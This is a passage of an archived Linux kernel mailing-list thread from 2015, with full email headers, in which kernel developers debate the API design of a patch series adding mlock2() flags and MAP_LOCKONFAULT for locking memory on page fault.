        bh=/ZVLsJd+e24bYYmDWQ0jv+LUP6pSo6DVfhU0bIJDDyc=;
        b=ZWSUz9Qz6F07waIeaHpUNyzzocPqorFLy9AO1EaT/sUrs0GCKLEmPg87Kyt5bIcNUW
         cHVQCT6a2XZnyolaAFyhLlBJt9+TIdYjKZxCLzHknBMe55vc+z+2kccb5cJcLR7U9HOZ
         YD/TL6BRIrsdc0l2hdi7geB8Pk+c9clhzFlyvAC52uOd7y4m2WgHTC/qYWr9x/RPpzfj
         Fmbuln83hvEcgzL5KNt6BgpD/nshQYiPZNUvXazYF6tFk/LsL28WdLRCBoL4HN4PbwOX
         11Gv1chkjInpiB6KlgPvehjYiP/EBtqfJu5U8P6hNGTyxB3bvf+3oHID6OWo+EKxm89j
         4LBQ==
X-Gm-Message-State: ALoCoQlaQV0bVe4sbMwtwFuKOgWwhnXEUfBtWVTzWMCE7cHIrQ0H7LsYw+lZfG/5TVUPMEjnXoFt
X-Received: by 10.194.192.166 with SMTP id hh6mr49829401wjc.127.1437982292579;
        Mon, 27 Jul 2015 00:31:32 -0700 (PDT)
Original-Received: from node.shutemov.name (dsl-espbrasgw1-54f9d4-72.dhcp.inet.fi. [84.249.212.72])
        by smtp.gmail.com with ESMTPSA id df1sm12042371wib.12.2015.07.27.00.31.30
        (version=TLSv1.2 cipher=AES128-GCM-SHA256 bits=128/128);
        Mon, 27 Jul 2015 00:31:31 -0700 (PDT)
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
	id C236564FA637; Mon, 27 Jul 2015 10:31:29 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <1437773325-8623-6-git-send-email-emunson@akamai.com>
User-Agent: Mutt/1.5.23.1 (2014-03-12)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:28637 gmane.linux.ports.alpha:3238 gmane.linux.kernel:2005060 gmane.linux.ports.mips.general:49577 gmane.linux.ports.parisc:25874 gmane.linux.ports.ppc64.devel:115888 gmane.linux.ports.sparc:21306 gmane.linux.kernel.mm:136332 gmane.linux.kernel.api:13163
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/28637>

On Fri, Jul 24, 2015 at 05:28:43PM -0400, Eric B Munson wrote:
> The cost of faulting in all memory to be locked can be very high when
> working with large mappings.  If only portions of the mapping will be
> used this can incur a high penalty for locking.
> 
> Now that we have the new VMA flag for the locked but not present state,
> expose it as an mmap option like MAP_LOCKED -> VM_LOCKED.

As I mentioned before, I don't think this interface is justified.

MAP_LOCKED has known issues[1]. The MAP_LOCKED problem is not necessary
affects MAP_LOCKONFAULT, but still.

Let's not add new interface unless it's demonstrably useful.

[1] http://lkml.kernel.org/g/20150114095019.GC4706@dhcp22.suse.cz

-- 
 Kirill A. Shutemov

From - Thu Nov 08 21:37:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V5 0/7] Allow user to request memory to be locked on page
 fault
Date: Mon, 27 Jul 2015 11:08:15 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <55B5F4FF.9070604@suse.cz>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1437988126 29202 80.91.229.3 (27 Jul 2015 09:08:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Jul 2015 09:08:46 +0000 (UTC)
Cc: Shuah Khan <shuahkh@osg.samsung.com>, Michal Hocko <mhocko@suse.cz>,
 Michael Kerrisk <mtk.manpages@gmail.com>, Jonathan Corbet <corbet@lwn.net>,
 Ralf Baechle <ralf@linux-mips.org>, linux-alpha@vger.kernel.org,
 linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
 linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-mm@kvack.org, linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>,
 Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Mon Jul 27 11:08:27 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZJeOZ-0008Kj-3b
	for glkm-linux-mm-2@m.gmane.org; Mon, 27 Jul 2015 11:08:27 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 510E59003C7; Mon, 27 Jul 2015 05:08:25 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 498E66B0254; Mon, 27 Jul 2015 05:08:25 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 3D76F9003C7; Mon, 27 Jul 2015 05:08:25 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wi0-f175.google.com (mail-wi0-f175.google.com [209.85.212.175])
	by kanga.kvack.org (Postfix) with ESMTP id F375E6B0038
	for <linux-mm@kvack.org>; Mon, 27 Jul 2015 05:08:24 -0400 (EDT)
Original-Received: by wibxm9 with SMTP id xm9so106789104wib.1
        for <linux-mm@kvack.org>; Mon, 27 Jul 2015 02:08:24 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:subject:to
         :references:cc:from:message-id:date:user-agent:mime-version
         :in-reply-to:content-type:content-transfer-encoding;
        bh=ySs6o4YMynCAVLlVGVG+Uc5ek1lRiz+DitKs3cRYhwM=;
        b=KmPOMQckKRudy5CR4mOtLftwauviDTZR0CiMV4cCRVXAI4dHTjeETHpDKvxhT+x5Uj
         NHBleJsTjk+QxU1KuSrr7H3ZOQmKrM1Ng2TOGd5u5HmJlZayqrUb2nzepzlz4RXJP4u0
         2rn1GBztv1tvIByCnpmCwOuk/mX67bgEW1/iWdfOR165m4uzKQh4+g8X6qoWBpQtwzT7
         oCyEZhi1KIaO/jwVgAwOwJT7KNfOl6jkgvONi3dSuQxVHLI87L5EWCopaUiJ0/eAU3NP
         UEl87YWC5mXq2MXo+/J8eDvzd9iKHXCXc8ZNStCkPHWAaFZMb9JMDJpCNXHwQCpnN9Dz
         urCA==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of vbabka@suse.cz designates 195.135.220.15 as permitted sender) smtp.mail=vbabka@suse.cz
X-Gm-Message-State: ALoCoQnhToGK+IzpHFx3RrktauZgd/TI9MjG2tibAh6Yw5siBeNjL/928HMLgakc7UAn9ibAPrvv2ftZfpENJRfjxMJzaQsAn0c9rcjY5Tb2l/zpv9oC3IpkJPwXxKUvZKBiSVw3hpkuccQeqoyaPlS18zFNXO4jubWqC0rQ14kw+bVXxZcCrbXuvLjP3a7gx76yRV22oENN
X-Received: by 10.180.21.244 with SMTP id y20mr21940597wie.65.1437988104509;
        Mon, 27 Jul 2015 02:08:24 -0700 (PDT)
X-Received: by 10.180.21.244 with SMTP id y20mr21940507wie.65.1437988103861;
        Mon, 27 Jul 2015 02:08:23 -0700 (PDT)
Original-Received: from mx2.suse.de (mx2.suse.de. [195.135.220.15])
        by mx.google.com with ESMTPS id ur8si29648888wjc.155.2015.07.27.02.08.22
        for <linux-mm@kvack.org>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Mon, 27 Jul 2015 02:08:23 -0700 (PDT)
Received-SPF: pass (google.com: domain of vbabka@suse.cz designates 195.135.220.15 as permitted sender) client-ip=195.135.220.15;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of vbabka@suse.cz designates 195.135.220.15 as permitted sender) smtp.mail=vbabka@suse.cz
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 94F43AAD1;
	Mon, 27 Jul 2015 09:08:19 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1437773325-8623-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136335 gmane.linux.ports.alpha:3239 gmane.linux.kernel:2005106 gmane.linux.ports.mips.general:49579 gmane.linux.ports.parisc:25875 gmane.linux.ports.ppc64.devel:115891 gmane.linux.ports.sparc:21307 gmane.linux.kernel.cross-arch:28640 gmane.linux.kernel.api:13165
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136335>

On 07/24/2015 11:28 PM, Eric B Munson wrote:

...

> Changes from V4:
> Drop all architectures for new sys call entries except x86[_64] and MIPS
> Drop munlock2 and munlockall2
> Make VM_LOCKONFAULT a modifier to VM_LOCKED only to simplify book keeping
> Adjust tests to match

Hi, thanks for considering my suggestions. Well, I do hope there were 
correct as API's are hard and I'm no API expert. But since API's are 
also impossible to change after merging, I'm sorry but I'll keep 
pestering for one last thing. Thanks again for persisting, I do believe 
it's for the good thing!

The thing is that I still don't like that one has to call 
mlock2(MLOCK_LOCKED) to get the equivalent of the old mlock(). Why is 
that flag needed? We have two modes of locking now, and v5 no longer 
treats them separately in vma flags. But having two flags gives us four 
possible combinations, so two of them would serve nothing but to confuse 
the programmer IMHO. What will mlock2() without flags do? What will 
mlock2(MLOCK_LOCKED | MLOCK_ONFAULT) do? (Note I haven't studied the 
code yet, as having agreed on the API should come first. But I did 
suggest documenting these things more thoroughly too...)
OK I checked now and both cases above seem to return EINVAL.

So about the only point I see in MLOCK_LOCKED flag is parity with 
MAP_LOCKED for mmap(). But as Kirill said (and me before as well) 
MAP_LOCKED is broken anyway so we shouldn't twist the rest just of the 
API to keep the poor thing happier in its misery.

Also note that AFAICS you don't have MCL_LOCKED for mlockall() so 
there's no full parity anyway. But please don't fix that by adding 
MCL_LOCKED :)

Thanks!

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V5 0/7] Allow user to request memory to be locked on page
 fault
Date: Mon, 27 Jul 2015 09:35:55 -0400
Lines: 96
Approved: news@gmane.org
Message-ID: <20150727133555.GA17133@akamai.com>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <55B5F4FF.9070604@suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="y0ulUmNC+osPPQO6"
X-Trace: ger.gmane.org 1438004171 30341 80.91.229.3 (27 Jul 2015 13:36:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Jul 2015 13:36:11 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Vlastimil Babka <vbabka@suse.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 27 15:36:00 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZJiZT-0004EH-DE
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 Jul 2015 15:35:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752279AbbG0Nf6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Jul 2015 09:35:58 -0400
Original-Received: from prod-mail-xrelay02.akamai.com ([72.246.2.14]:58333 "EHLO
	prod-mail-xrelay02.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750931AbbG0Nf5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Jul 2015 09:35:57 -0400
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id F2DB3290F5;
	Mon, 27 Jul 2015 13:35:55 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id C5079290F3;
	Mon, 27 Jul 2015 13:35:55 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1438004155; bh=lOawACYZDnr1kh2vrL0o8U1xH4vb42Xdvg4l1Hazzug=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=BGQrYqrbgP4ONi+2nIkNiDRh0QRWdnaaSEVCS8cM925nqCwXqYwI47DccKugsL46x
	 /XWn21bib37lY8sbkj3o7Typ9o3cR/r2kgHIcuvD0sW80H0pfTOOdTdpVnEzUFA/69
	 /Yj92F1R+QD+0aJyrB6ggzfcPcqF3trw6GXocSUQ=
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id BDF6D8008B;
	Mon, 27 Jul 2015 13:35:55 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <55B5F4FF.9070604@suse.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25876 gmane.linux.ports.alpha:3240 gmane.linux.kernel:2005385 gmane.linux.ports.mips.general:49587 gmane.linux.ports.ppc64.devel:115944 gmane.linux.ports.sparc:21309 gmane.linux.kernel.mm:136343 gmane.linux.kernel.cross-arch:28647 gmane.linux.kernel.api:13188
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25876>


--y0ulUmNC+osPPQO6
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 27 Jul 2015, Vlastimil Babka wrote:

> On 07/24/2015 11:28 PM, Eric B Munson wrote:
>=20
> ...
>=20
> >Changes from V4:
> >Drop all architectures for new sys call entries except x86[_64] and MIPS
> >Drop munlock2 and munlockall2
> >Make VM_LOCKONFAULT a modifier to VM_LOCKED only to simplify book keeping
> >Adjust tests to match
>=20
> Hi, thanks for considering my suggestions. Well, I do hope there
> were correct as API's are hard and I'm no API expert. But since
> API's are also impossible to change after merging, I'm sorry but
> I'll keep pestering for one last thing. Thanks again for persisting,
> I do believe it's for the good thing!
>=20
> The thing is that I still don't like that one has to call
> mlock2(MLOCK_LOCKED) to get the equivalent of the old mlock(). Why
> is that flag needed? We have two modes of locking now, and v5 no
> longer treats them separately in vma flags. But having two flags
> gives us four possible combinations, so two of them would serve
> nothing but to confuse the programmer IMHO. What will mlock2()
> without flags do? What will mlock2(MLOCK_LOCKED | MLOCK_ONFAULT) do?
> (Note I haven't studied the code yet, as having agreed on the API
> should come first. But I did suggest documenting these things more
> thoroughly too...)
> OK I checked now and both cases above seem to return EINVAL.
>=20
> So about the only point I see in MLOCK_LOCKED flag is parity with
> MAP_LOCKED for mmap(). But as Kirill said (and me before as well)
> MAP_LOCKED is broken anyway so we shouldn't twist the rest just of
> the API to keep the poor thing happier in its misery.
>=20
> Also note that AFAICS you don't have MCL_LOCKED for mlockall() so
> there's no full parity anyway. But please don't fix that by adding
> MCL_LOCKED :)
>=20
> Thanks!


I have an MLOCK_LOCKED flag because I prefer an interface to be
explicit.  The caller of mlock2() will be required to fill in the flags
argument regardless.  I can drop the MLOCK_LOCKED flag with 0 being the
value for LOCKED, but I thought it easier to make clear what was going
on at any call to mlock2().  If user space defines a MLOCK_LOCKED that
happens to be 0, I suppose that would be okay.

We do actually have an MCL_LOCKED, we just call it MCL_CURRENT.  Would
you prefer that I match the name in mlock2() (add MLOCK_CURRENT
instead)?

Finally, on the question of MAP_LOCKONFAULT, do you just dislike
MAP_LOCKED and do not want to see it extended, or is this a NAK on the
set if that patch is included.  I ask because I have to spin a V6 to get
the MLOCK flag declarations right, but I would prefer not to do a V7+.
If this is a NAK with, I can drop that patch and rework the tests to
cover without the mmap flag.  Otherwise I want to keep it, I have an
internal user that would like to see it added.


--y0ulUmNC+osPPQO6
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVtjO7AAoJELbVsDOpoOa9TNAQAIfRrQ4rp3LViJe+X+UdnFJ7
BFJUSHiM7IjUdM+WZyf7s+giHKSybtEIuoX5961wGuUvd777r+83I41Lc0XLR94g
kquJMYCL+WkIIqyor2Me6FNMnQwUs8EegFgRcJXcy0j+1zaxgkBRUzeYP30ecd39
ZYdjGfwn2Cyc4vsb/ze/rQ9R24DgQBT8xI4+3XzGwq5ViteaAFuUgY3bZ3gkxgI1
jFMAiyOCUGp0LBPMMTMOQ52o2xsWHAfADfCy9v3xalA7Rl8s8lX0DfirCoTnRj8f
27SMJ/kU/RBSCTemsqp4osDnO6cYATAQUk/00w5B8zwUG//syjb8a139izyS8UhU
arBzKRJR6eZARqtW8IauNTJ6IW8uyp8QNrni7At9hc+rcFgG3+hGt7+H8bugENb8
VSuydDJoris+H4ysj175AK6Xh2gN2cYxiAxzbeIwnwyn+9uL7A0UpFavyaYjUx2K
/M1bFELVo/LzAg0tZBNi+nyboZSmAzMoF2RkTPmEK0+5taWqCmYPke0ST4zKAxsA
z2CpFTxmoKHo8ksPHzQUlTF2KcRl2FlIe2uxUwQ0WAXVqcOJUUo8/OK+knvDPJ7A
S8jXh2XMpEHh0EQTFvUYrQ+ZxT/nkzITFv33zBGhxryq0ve/AYRbSC87H8RBLHrd
dqVY5/pEceCOYg9+DxnG
=1hv9
-----END PGP SIGNATURE-----

--y0ulUmNC+osPPQO6--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V5 5/7] mm: mmap: Add mmap flag to request VM_LOCKONFAULT
Date: Mon, 27 Jul 2015 09:41:26 -0400
Lines: 65
Approved: news@gmane.org
Message-ID: <20150727134126.GB17133@akamai.com>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <1437773325-8623-6-git-send-email-emunson@akamai.com>
 <20150727073129.GE11657@node.dhcp.inet.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="H1spWtNR+x+ondvy"
X-Trace: ger.gmane.org 1438004510 3631 80.91.229.3 (27 Jul 2015 13:41:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Jul 2015 13:41:50 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>, Vlastimil Babka <vbabka@suse.cz>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	Guenter Roeck <linux@roeck-us.net>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: owner-linux-mm@kvack.org Mon Jul 27 15:41:42 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZJieu-0001r1-4C
	for glkm-linux-mm-2@m.gmane.org; Mon, 27 Jul 2015 15:41:36 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 40D216B0254; Mon, 27 Jul 2015 09:41:29 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 3BD619003C7; Mon, 27 Jul 2015 09:41:29 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 2ACE76B0256; Mon, 27 Jul 2015 09:41:29 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f171.google.com (mail-qk0-f171.google.com [209.85.220.171])
	by kanga.kvack.org (Postfix) with ESMTP id F3A346B0254
	for <linux-mm@kvack.org>; Mon, 27 Jul 2015 09:41:28 -0400 (EDT)
Original-Received: by qkdl129 with SMTP id l129so39355140qkd.0
        for <linux-mm@kvack.org>; Mon, 27 Jul 2015 06:41:28 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=uWcgd0FIwzkMsn/HycKdzT8CteQjaZMUwJ1lJ1SUBHs=;
        b=allgO0HUOGVY1tfFQNtvvh6KXwvlblAhcY6FGMXsPH2axuM46NSxeVwZiSWHh+fp7p
         gdzf0NcpcSRngKlUkMzqzjvw0zc4t0xeNGSZ2vYAjQM/xTw+Uiw+Yq4GezwYc7LPsJgZ
         dR9Rui0tDV6mZmaUOisUZgUPc0Kob5CjqDNFdydAiAi1IGdKZGW0YjcXixHaTFUJqSUw
         d/fwwGLEVgNjXU5HMp9fXSFUyie2imaAgPwoC2rgnBrV+fItMkKFL7tCyVCzIVGZuPHg
         rurk6PNPjjtNIqiapjXyucyMwHohene/1ycYeE3vuUQPcvTyfk3571zBxf2W4lolIEXz
         gW1w==
X-Gm-Message-State: ALoCoQlKMqnETwiR7vzdA1kRx6Z7jDN915DFzQu4gvrVroUHEBW27VGUp6MHku6wIVejxbCff0klfe/xm2wyxxAjk7UASIpUlA7Oln0wP61eU2iWUYv9IT25MGeQuLZ6BwJKRogV2dCY2Q4Wr8ejopuzngFUhbZwRWxY4uTWwlRUPqKwi5iIJ8sZrxIo4xZcWQdgk7geMZUI
X-Received: by 10.55.27.97 with SMTP id b94mr40563081qkb.3.1438004488754;
        Mon, 27 Jul 2015 06:41:28 -0700 (PDT)
X-Received: by 10.55.27.97 with SMTP id b94mr40562964qkb.3.1438004487874;
        Mon, 27 Jul 2015 06:41:27 -0700 (PDT)
Original-Received: from prod-mail-xrelay02.akamai.com (prod-mail-xrelay02.akamai.com. [72.246.2.14])
        by mx.google.com with ESMTP id d197si20852501qhc.108.2015.07.27.06.41.27
        for <linux-mm@kvack.org>;
        Mon, 27 Jul 2015 06:41:27 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) client-ip=72.246.2.14;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id D37632910A;
	Mon, 27 Jul 2015 13:41:26 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id B426729108;
	Mon, 27 Jul 2015 13:41:26 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1438004486; bh=6ZTcn0BlOfeP5Kg5kDjqMu1ahy3sj5ESSsFnXejQOt4=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=FgOnD3VFiXadnTiq7AixCjDZav2T5eJ31qbo9hdCNFhnWz8pyKQx3NlxYSD0rR+LB
	 3czGbDGHax2npXzvXY2CMcKYm2aT3fUHV2+PuKbLDm1hrcbtUNuy9FEle0CVOB/kpK
	 RD6N5eMlT/LTmmkJlG+ZRgDPQvpxTZcyygUygjqg=
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id ACC868008B;
	Mon, 27 Jul 2015 13:41:26 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150727073129.GE11657@node.dhcp.inet.fi>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136344 gmane.linux.ports.alpha:3241 gmane.linux.kernel:2005394 gmane.linux.ports.mips.general:49588 gmane.linux.ports.parisc:25877 gmane.linux.ports.ppc64.devel:115945 gmane.linux.ports.sparc:21310 gmane.linux.kernel.cross-arch:28648 gmane.linux.kernel.api:13189
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136344>


--H1spWtNR+x+ondvy
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 27 Jul 2015, Kirill A. Shutemov wrote:

> On Fri, Jul 24, 2015 at 05:28:43PM -0400, Eric B Munson wrote:
> > The cost of faulting in all memory to be locked can be very high when
> > working with large mappings.  If only portions of the mapping will be
> > used this can incur a high penalty for locking.
> >=20
> > Now that we have the new VMA flag for the locked but not present state,
> > expose it as an mmap option like MAP_LOCKED -> VM_LOCKED.
>=20
> As I mentioned before, I don't think this interface is justified.
>=20
> MAP_LOCKED has known issues[1]. The MAP_LOCKED problem is not necessary
> affects MAP_LOCKONFAULT, but still.
>=20
> Let's not add new interface unless it's demonstrably useful.
>=20
> [1] http://lkml.kernel.org/g/20150114095019.GC4706@dhcp22.suse.cz

I understand and should have been more explicit.  This patch is still
included becuase I have an internal user that wants to see it added.
The problem discussed in the thread you point out does not affect
MAP_LOCKONFAULT because we do not attempt to populate the region with
MAP_LOCKONFAULT.

As I told Vlastimil, if this is a hard NAK with the patch I can work
with that.  Otherwise I prefer it stays.


--H1spWtNR+x+ondvy
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVtjUGAAoJELbVsDOpoOa9FEQP/0tZqvE9r1cDWHP2fRNfVeMA
